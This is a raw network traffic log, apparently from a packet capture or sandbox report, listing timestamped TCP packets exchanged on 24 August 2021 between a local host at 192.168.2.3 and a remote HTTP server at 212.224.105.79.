Aug 24, 2021 14:02:03.744647980 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744671106 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744687080 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.744693995 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744715929 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744733095 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.744738102 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744760990 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744772911 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.744785070 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744810104 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744824886 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.744831085 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744854927 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744867086 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.744877100 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744899035 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744915009 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.744923115 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744944096 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744962931 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.744967937 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744992971 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.745004892 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.745012999 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.745037079 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.745048046 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.745058060 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.745080948 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.745100021 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.745104074 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.745141983 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.768049002 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.768109083 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.768146992 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.768166065 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.768182993 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.768207073 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.768220901 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.768249035 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.768275976 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.768289089 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.768311024 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.768332958 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.768347979 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.768372059 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.768404961 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.768418074 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.768429041 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.768467903 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.768500090 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.768551111 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.768585920 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.768590927 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.768610954 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.768635035 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.768650055 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.768656969 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.768680096 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.768695116 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.768702030 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.768723011 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.768737078 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.768743992 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.768765926 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.768779993 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.768790960 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.768815041 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.768830061 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.768843889 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.768870115 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.768884897 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.768893003 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.768915892 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.768935919 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.768939018 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.768971920 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.768979073 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.768994093 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.769015074 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.769032955 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.769037962 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.769059896 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.769073963 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.769085884 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.769109011 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.769124985 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.769130945 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.769155025 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.769169092 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.769176006 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.769198895 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.769212961 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.769221067 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.769243002 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.769258022 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.769268036 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.769290924 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.769311905 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.769315004 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.769340038 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.769354105 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.769361973 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.769398928 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.791641951 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.791744947 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.791810989 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.791812897 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.791873932 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.791923046 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.791929007 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792000055 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792043924 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.792072058 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792104959 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792128086 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792150021 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.792150974 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792172909 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792193890 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.792195082 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792217016 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792237043 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.792239904 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792264938 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792283058 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.792287111 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792310953 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792329073 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.792331934 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792356968 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792376995 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.792378902 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792402983 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792419910 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.792424917 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792450905 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792471886 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.792474031 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792496920 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792515039 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.792519093 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792542934 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792561054 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.792565107 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792596102 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792607069 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.792618990 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792638063 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792660952 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792673111 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.792685032 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792706966 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792726994 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.792730093 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792749882 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.792752981 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792778969 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792794943 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.792803049 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792820930 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792845011 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792848110 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.792867899 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792887926 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.792892933 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792917013 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792936087 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.792938948 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792962074 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.792980909 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.792984009 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.793006897 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.793030024 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.793030977 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.793071032 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.815366030 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.815447092 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.815510988 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.815525055 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.815560102 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.815598011 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.815622091 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.815689087 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.815737963 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.815748930 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.815802097 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.815845966 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.815845013 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.815931082 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.815975904 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.815994978 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.816047907 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.816087961 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.816092968 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.816155910 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.816195965 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.816206932 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.816267014 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.816306114 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.816323042 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.816375017 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.816420078 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.816425085 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.816471100 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.816509962 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.816529036 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.816584110 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.816626072 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.816643000 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.816699028 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.816745996 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.816767931 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.816828966 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.816871881 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.816884995 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.816910982 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.816932917 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.816951036 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.816956043 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.816977978 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817002058 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.817004919 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817028999 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817049026 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.817050934 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817075968 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817090034 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.817097902 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817121029 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817136049 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.817145109 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817167997 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817183018 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.817192078 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817218065 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817231894 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.817239046 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817261934 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817279100 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.817285061 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817307949 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817327023 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.817329884 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817353964 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817378044 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.817378998 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817405939 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817419052 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.817426920 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817451000 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817466021 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.817472935 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817496061 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817517996 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.817519903 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817543030 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817565918 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.817569971 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817594051 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817609072 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.817615986 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817639112 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817655087 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.817662001 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817686081 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817706108 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.817708015 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817730904 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817749023 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.817754984 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817780018 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817796946 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.817800999 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817823887 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817842960 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.817846060 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817869902 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817883968 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.817893028 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817915916 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817931890 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.817940950 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817964077 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.817979097 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.817985058 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.818008900 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.818025112 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.818032980 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.818052053 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.818075895 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.818085909 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.818097115 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.818120956 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.818133116 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.818142891 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.818159103 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.818165064 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.818187952 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.818207026 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.818208933 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.818234921 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.818248987 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.818258047 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.818283081 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.818301916 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.818315983 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.818321943 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.818348885 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.818351984 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.818382025 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.818394899 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.818406105 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.818430901 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.818450928 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.818451881 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.818475962 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.818497896 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.818499088 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.818523884 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.818538904 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.818556070 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.818581104 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.818595886 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.818603039 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.818629980 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.818639994 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.818665028 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.818692923 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.818708897 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.818713903 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.818738937 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.818758011 CEST	49732	80	192.168.2.3	212.224.105.79
